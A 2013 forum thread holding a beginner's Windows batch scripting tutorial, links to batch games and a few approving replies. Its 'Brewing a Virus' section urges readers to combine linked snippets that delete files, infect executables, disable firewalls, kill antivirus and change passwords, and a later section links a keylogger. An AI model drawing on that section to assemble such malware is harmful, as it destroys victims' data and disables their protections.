• Game Rebels: The site that rewards you for posting
  • Join The Awesome ARK Server!

    Island PVE (Official Rates x2) by Vurh.Club
    Join ARK Server! Join ARK Discord!
  • The Game Shop V2!

    A Complete revamp! Hundreds of FREE games, now available!
    Shop Now!
  • Game Rebels Community

    Welcome to this awesome gaming forum
    Register Now
  • Earn Points to Buy Games!

    The more you post, the more you earn
    Learn More

Ultimate Guide to Batch Scripting

Discussion in 'Coding Tutorials' started by Stealth, Feb 28, 2013.

  1. Stealth

    Stealth Active Member

    1,251
    0.34
    70
    [​IMG]
    By: Emulsifiable

    Index

    Introduction

    What is Batch?

    A History Lesson

    Requirements

    Writing Batch Files

    -Basic Commands/Your First Batch File
    -FAQ

    -Spicing up your Batch File

    -Title Change
    -Color Command
    -Loading Effect

    -Start Command + How to open up a Website
    -Loops
    -User Variables/Interaction

    Dangerous Commands
    -Del (Delete)
    -Ren (Rename)

    Brewing a Virus
    -Delete
    -Disable
    -Infect
    -Block
    -Change
    -Open
    -Hide
    -Kill
    -Spam

    Game Development
    -Hangman
    -Minesweeper
    -Tic-Tac-Toe
    -Deal or No Deal
    -Splat-the-Rat (Whack-a-Mole)

    Innovative Batch Files/Effects
    -Batch Keylogger
    -Chatroom
    -Matrix Batch Effect

    More Sources

    Conclusion

    Introduction

    Ever wanted to know everything about batch? I don't mean the basics, I mean EVERYTHING. Well, you have come to the right place! This thread will leave you stuffed with information. By the end of this, your brain will be overflowing with knowledge.

    What is Batch?

    Well, Batch is a scripting language. Using Batch, you write a batch file, a compiled text file containing commands that will run in order. The name "Batch" was given to this language because a batch file contains a bundle or batch of commands. Batch files were made to finish tasks in a shorter period of time. Batch files also keep your operating system working. In every windows operating system, there is a least one batch file that is crucial to the operation of Windows.

    A History Lesson

    As the Windows OS evolved, so did the use of batch files. Long ago, in the early OS versions, batch files were extremely crucial. Early versions of Windows had batch files that actually made the OS start up properly. Over time, batch files became less useful. Windows could sustain most of its frame without the help of batch files. But in a couple of years, batch files became a source of entertainment. How? Well, some people saw the advantages to batch and its endless possibilities. Soon after that, a new era was born. People started making batch games, applications, and even found ways to create simple antiviruses with them. Batch files are still a popular success today. Without those brilliant minds, I wouldn't be writing this guide.

    Requirements

    So, most of you may know that all languages have requirements. Usually some special program. For example, C++ requires an IDE and a Compiler to work. So for Batch, is it the same? No. Not at all. All you need is:

    -Determination
    -Notepad

    That's it! The only program you need is Notepad. If you don't know yet, notepad is already on your PC. Can't find it? Just go to Start Menu > All Programs > Accessories > Notepad. Now... are you ready to write a batch file?

    Writing Batch Files

    Basic Commands/Your First Batch File

    Ok, are you ready to write your first batch file? Let's get going! First off, open up Notepad.

    The first line of code we are going to learn is @echo off. Now what does this line do? Well, it stops your batch file from showing file paths. It makes your program look professional. Just make sure you have this in the first line of notepad.

    So, your notepad should have this in it:

    Code:
    @echo off
    Now, have you ever wanted to make your program say something? Well if you do, you have to use the echo command. If I wanted my program to say "Hello World!”… I would type this on the second line of notepad:

    Code:
    echo Hello World!
    So, now your notepad should have this in it:

    Code:
    @echo off
    echo Hello World!
    Let's just say this is our program. Nothing else. If we saved it (you will learn how to later) and ran it, it would pop up then close in less than a second. Why?! Well, you forgot to tell the program to Pause! What, did you honestly expect it to pause by itself? So, how do you make it pause? Well, you just put the command pause on the next line. So your notepad should look like this now:

    Code:
    @echo off
    echo Hello World!
    pause
    So what actually happens when the pause command is processed during the run? Well, your batch file will pause and a message will appear. Your batch file will say "Press any key to Continue." Then when you press a key, it will move on to the next line of code. If there is no code left, the batch file will close. This may be a bit confusing, but let's run it and you will understand this.

    So how do I run my program? Well, first you have to save it. Wait. I know what you’re thinking. You just going to go save it as a text document and then just open it. Yes, that is perfectly... WRONG! You don't save it as a text file. You must save it as a batch file! To do this, follow these three simple steps.

    Step 1: Go to File > Save as

    Step 2: Name your file but at the end of the name, insert ".bat" or your batch file will not work at all. For example, I can name it "My Program.bat" and that would work.

    Step 3: For the "Save as Type" select "All Files" not "Text Files."

    This is SUPER important. If you don't do this, it will be saved as a text document.

    There, you have just saved your batch file! Now it's time to run it. Go open the file you just saved. If it does not open, right click the file and select "Run as Administrator." Once it is open, it should look like this:

    [​IMG]

    First of all, CONGRATULATIONS! You have just made your first batch file! Now, do you see what the Pause command did? It made the batch file say "Press any key to continue..." Then you pressed a key, and it moved on to the next line of code, which is nothing, so it closed.

    ==============================


    FAQ

    How do I Edit my Batch File Again?

    Just right click your batch file and click "Edit." It will then open up in notepad. Make your changes and then go to File > Save. Then close notepad and run your batch file again. All your changes should come into action.

    My Batch File Won’t Run! HELP?!

    Make sure you are on an administrator account. If it is still not running, right click your batch file and click "Run as Administrator." The batch file should run. If it does run but it just closes automatically, then there is an error in the source code you wrote. Go back and check that again.

    ==============================

    Spicing up your Batch File

    I quite frankly have to admit that the batch file we made a few minutes ago was boring. Some plain grey text on a black background. Exciting.

    Well, let's change that! Let's spice up this batch file of ours. First of all, let's make it look much more professional.

    Title Change

    Run your batch file again and look at the title. It is C:/windows/system32/cmd.exe. Why? Well, when we run our batch file, it calls command prompt. Our batch file is run in command prompt. So cmd (command prompt) is the framework for our batch file. But how do we change this? Well, you just use the title command. Now what does the title command do? This is pretty obvious. It changes the title. So how do we use it? Let's say I wanted to change the title to "My Program." I would use this:

    Code:
    title My Program
    It is as simple as that! But where do you put it? Well, let's just put it right after @echo off. So now your batch file source code should look like this:

    Code:
    @echo off
    title My Program
    echo Hello World!
    pause
    Now let's test it out. Save your source and then run the batch file again. Now look at the title. It has changed!

    [​IMG]

    Color Command

    How about changing colors? Yup, you can do that as well!

    But how? Well, you must use the Color command. This will be one of the most confusing things I teach you so hang in there. The color command is pretty simple. You use the word "Color" and you add to 2 characters (a letter or a digit) to change the color. Here is a list of color codes:

    0 = Black
    1 = Blue
    2 = Green
    3 = Aqua
    4 = Red
    5 = Purple
    6 = Yellow
    7 = White
    8 = Gray
    9 = Light Blue
    A = Light Green
    B = Light Aqua
    C = Light Red[/code]
    D = Light Purple
    E = Light Yellow
    F = Bright White

    So the command looks like this:

    Code:
    Color ??
    But you have to change those question marks. Do you see the first question mark in that command? That is where the background color goes. I will choose black, so look up at the chart I just gave you. Black is "0." The second question mark is the foreground/text color. I want light green. So again, I looked up at the chart above. Light green is "A." So I want a black background (0) and light green text (a). So my color command will look like this:

    Code:
    Color 0a
    There! But where do I put this? Well, put this right after the title command. So your source code should look like this:

    Code:
    @echo off
    title My Program
    color 0a
    echo Hello World!
    pause
    Loading Effect

    Ever wanted a batch file that said "Loading" then the dots increased...? Well I will show you how to do this, it's simple. Just use this:

    Code:
    ping localhost -n 2 >nul
    ow what does that do? Well first of all, it pauses your program without the pause message ("Press any key to continue"). It does not display the pause message because of the "nul." But for how long will it pause? You choose! In this example it will only pause for 2 seconds. You can change that 2 to any amount of seconds, but do not change it to 1. Why? Well sometimes the batch file glitches and the loading effect is not shown. So how would you do the loading effect? Well, let me just write the source code and I will explain it.

    Code:
    @echo off
    echo Loading.
    ping localhost -n 2 >nul
    cls
    echo Loading..
    ping localhost -n 2 >nul
    cls
    echo Loading...
    ping localhost -n 2 >nul
    cls
    
    Ok so what is going on here? Let me explain. First of all, the batch file says "Loading." and then it pauses for 2 seconds (very quick seconds). After that 2 seconds, it clears the batch file and then it displays "Loading.." so it appears as if the dots or increasing. So, cls clears the screen. Cls stands for "Clear Screen." Now test it out for yourself! So your notepad should have this in it so far:

    Code:
    echo off
    title My Program
    color 0a
    echo Loading.
    ping localhost -n 2 >nul
    cls
    echo Loading..
    ping localhost -n 2 >nul
    cls
    echo Loading...
    ping localhost -n 2 >nul
    cls
    echo Hello World!
    pause
    
    Now let's run it!

    [​IMG]

    Start Command + How to Open up a Website

    Ever wanted to make a program open using your batch file? Well, all you need to do is use the start command! But this command can get confusing. You must add file paths to make the program start up. Most default programs (Notepad and Internet Explorer) don't need additional file paths. You just need to use the name of the file. So for example, I will open up notepad.

    Code:
    start notepad.exe
    If I wanted to open up Internet Explorer, you would use this:

    Code:
    start iexplore.exe
    If you wanted to open up a specific website you would use this (but with the link changed):

    Code:
     start iexplore http://www.google.com
    Now, what if you wanted to open up a picture? You need to find the location of the file. So how do you do this? Well, all you need to do is right-click the file and select "Properties." Then look for the file location.

    [​IMG]

    Ok, so I now know where it is located. THAT IS NOT ALL YOU NEED! You also need the file name with the extension. The file I was looking at was name "2" and it was a .png file so I would add "2.png" to the end of the directory we just found. So, if I wanted to open up that specific picture, I would use:

    Code:
    Start C:\Users\Chamantha\Desktop\2.png
    Loops

    These are pretty useful when you think about it. Ever wanted your batch file to do something forever? Instead of copying and pasting lines over and over again, you can just use a loop.

    All you need is two commands to make a loop. Those two commands are the label :)x) command and the goto command. So let me show you an example.

    Code:
    @echo off
    :A
    echo HELLO!
    goto :A
    Ok so the ":A" is a label. You use the colon :)) and then name the label. I named my label "A." There, I just set the start of the loop. Then where do I close the loop? Well, you just use the goto command. I inserted goto :A because I want the program to go to A. And "A" was set with the label. So when the program gets to "goto :A" it will go back to the label "A." So whatever code is inside the loop will repeat over and over again. So in the example I showed you earlier, the batch file will display "HELLO!" over and over again.

    Now this command has a dark side too. Be careful. For example, if you make the batch file start notepad over and over again, your computer will eventually crash. The example I showed you is harmless.

    User Variables/Interaction

    Now this is one of the most advanced set of commands that I will teach you. Get ready!

    Now this is one of the most advanced set of commands that I will teach you. Get ready!

    I believe that examples help you learn more than a lesson. I will combine both so you get the best of both worlds. So first off, what is a user variable? Well, think of it this way. It is a set of commands that allow user input. It is actually pretty cool.

    Commands Covered in this Tutorial:

    set /p
    if
    goto
    marker/label
    exit


    Dangerous Commands

    There are some commands that are pretty dangerous. In this section we will cover the del (delete) command and the ren (rename) command.

    Del (Delete)

    This command is really easy to use. If I wanted to delete that photo that I opened earlier (C:\Users\Chamantha\Desktop\2.png), I would use this:

    Code:
    del C:\Users\Chamantha\Desktop\2.png
    And if I ran a batch file with that command, the picture would be deleted.

    Ren (Rename)

    What if I wanted to rename that file instead? Let's pretend I did not delete it. If I wanted to change the name of a text file from 1.txt to 2.txt, I would again need to find the location of the file. Right-click your file and select "Properties."

    [​IMG]

    Then at the end of the directory you just found, add the name of the file + the extension. So my file location would be:

    Code:
    C:\Users\Chamantha\Desktop\1.txt
    There, now I just got the location of the file. Now how do I rename it to 2.txt? Well, in my situation, I would use this:

    Code:
    ren C:\Users\Chamantha\Desktop\1.txt 2.txt
    So, at the start of the line, put ren and then the file path. After that, hit the space bar and type in the new name of your file (with the extension). This will successfully rename a file!

    Brewing a Virus

    Did you really expect Batch to be a safe language? A simple line of code can erase an entire hard drive.

    So, some people have learned to manipulate batch files to harm computers. And believe me, they have done a really good job with it.

    Before we move on, I would like to warn you. I do not suggest sending harmful batch files to people because they can take legal action against you. I also advise you never open a batch virus unless you are in a controlled virtual environment.

    So how do you make a batch virus? Well all you need to do is mix a ton of dangerous lines together and make sure they will run properly. So it's pretty much mix and match. To brew your virus, I have a ton of dangerous codes organized. Just choose the ones you want and make a big deadly batch file out of them.

    Delete

    Delete all Documents - http://pastebin.com/raw.php?i=0NUaHmdf

    Delete all Music - http://pastebin.com/raw.php?i=J9i71axE

    Delete all Pictures - http://pastebin.com/raw.php?i=xCezgByP

    Disable

    Disable Firewall - http://pastebin.com/raw.php?i=JaKWPxMM

    Disable Internet - http://pastebin.com/raw.php?i=EWaUMZiS

    Disable Keyboard - http://pastebin.com/raw.php?i=N1z40nvx

    Infect

    Infect all Batch Files - http://pastebin.com/raw.php?i=shbHHX7b

    Infect all .docs - http://pastebin.com/raw.php?i=CxzMHNx2

    Infect all Drivers - http://pastebin.com/raw.php?i=iPRmgMs8

    Infect all .exe files - http://pastebin.com/raw.php?i=uurrG403

    Infect All HTML Files - http://pastebin.com/raw.php?i=TuPWye55

    Infect CMD - http://pastebin.com/YX0rgZeX

    Block

    Block Google - http://pastebin.com/raw.php?i=in4bq8is

    Block Hotmail - http://pastebin.com/raw.php?i=exVHMc6A

    Block MSN - http://pastebin.com/raw.php?i=UxiATFzQ

    Block Wikipedia - http://pastebin.com/raw.php?i=qEj68gve

    Change

    Change time to 00:00 - http://pastebin.com/raw.php?i=ricHiqw7

    Change User Password - http://pastebin.com/raw.php?i=ES9TnWmf

    Open

    Open Disk Tray - http://pastebin.com/raw.php?i=VUFfKNfb

    Open/Play XP Start up Song - http://pastebin.com/raw.php?i=vrh9PaKA

    Hide

    Hide Music Folder - http://pastebin.com/raw.php?i=yty6wsF8

    Kill

    Kill Antivirus - http://pastebin.com/raw.php?i=KeHbNzKy

    Spam

    Spam /C Drive - http://pastebin.com/raw.php?i=fpcG9ZCR

    Game Development

    This section really shows the innovation and how much possibilities and opportunities batch files can offer. One of the best things you can do with Batch is script games. I don't mean games that are 3d with graphics and multiplayer features. I mean games made in batch. Now, since batch has no real graphics, you would think there is very little you can make. This is true but the games made in batch can surprise you. Here are some of the best games made in batch.

    Hangman

    [​IMG]

    This game is amazing! It uses a .txt file that you downloaded/made and makes a awesome Hangman game. So how do you play? Well first you make a batch file with the first source code link provided below. Then you make a text file with the second source code I have provided. Then you run the batch file, and you drag the text file you just made into the batch file. Then you start the game!

    -Source Code - http://pastebin.com/raw.php?i=MTGXvQ69
    -Source Code (for the dictionary file) - http://pastebin.com/raw.php?i=geSD3vym

    Minesweeper

    [​IMG]

    In this innovative game, a player can choose his/her skill level and play a good game of minesweeper.

    Source Code - http://pastebin.com/raw.php?i=0EkJRdx1

    Tic-Tac-Toe

    [​IMG]

    This batch game may seem simple but it is not. It has many options such as choosing your opponent (computer or human). It is pretty fun when you are playing against a human. Try it out!

    Source Code - http://pastebin.com/raw.php?i=QS3zFUar

    Deal or No Deal

    [​IMG]

    One of the most popular batch files, this game includes a lot of ASCII art and is really interesting. It contains many lines of code and is really fun to play.

    Source Code - http://pastebin.com/raw.php?i=BubVVjSY

    Splat the Rat/Whack-A-Mole(Whack-a-Voi) :7

    [​IMG]

    This is the most advanced game ever made in batch. It uses 2 batch windows to play. One window is for the hammer and your reaction time. The second one is for the actual rat sticking its head out of the ground at random points in time. Even though there are 2 windows, there is only one batch file involved. I suggest you play this game, it really is impressive. This game also allows you to enter your initials so you can save your score.

    Source Code - http://pastebin.com/raw.php?i=XthyJYTH

    Monopoly

    [​IMG]

    You have to admit, this one is pretty epic. A batch monopoly game. It has really good ASCII art as well! This is a must-see!

    Source Code - http://pastebin.com/raw.php?i=9qTwhBVd


    Other Batch Files

    Batch Keylogger

    It is possible. And it has been made before. It is not an advanced keylogger and still has some problems but this is the source code can be found here:

    http://pastebin.com/raw.php?i=mgMCXZ9G

    Chatroom

    Ever wondered if a batch file can have a server side as well? Well, it can and it has been attempted before. There is a chatroom that has been developed that actually works. You can talk to other computer users on your LAN network. For more information visit:

    http://batchchat.blogspot.com/

    Matrix Batch Effect

    This is one of the most popular effects. There are many versions of the Matrix batch effect but here is one of the best:

    http://pastebin.com/raw.php?i=gd3SLAvi

    Other Sources

    Coming Soon.

    Conclusion

    Well, it's over. Thank you so much for reading this guide or even parts of it. I hope it helped you in any way possible. If you have any questions, just PM me and I will gladly assist you. Thank you for reading this guide. The Ultimate Guide to Batch Scripting.
     
  2. Guardian

    Guardian Well-Known Member

    982
    42.36
    165
    RE: The Monetizers - Ultimate Guide to Batch Scripting

    That is insane. Nice work!
     
  3. Stealth

    Stealth Active Member

    1,251
    0.34
    70
    RE: The Monetizers - Ultimate Guide to Batch Scripting

    Thanks Guardian, took me a couple of hours to write up.
     
  4. Toxique

    Toxique Well-Known Member

    3,910
    1.33
    170
    RE: The Monetizers - Ultimate Guide to Batch Scripting

    This tutorial is awesome, I never knew you could do so much stuff in batch... those games are awesome!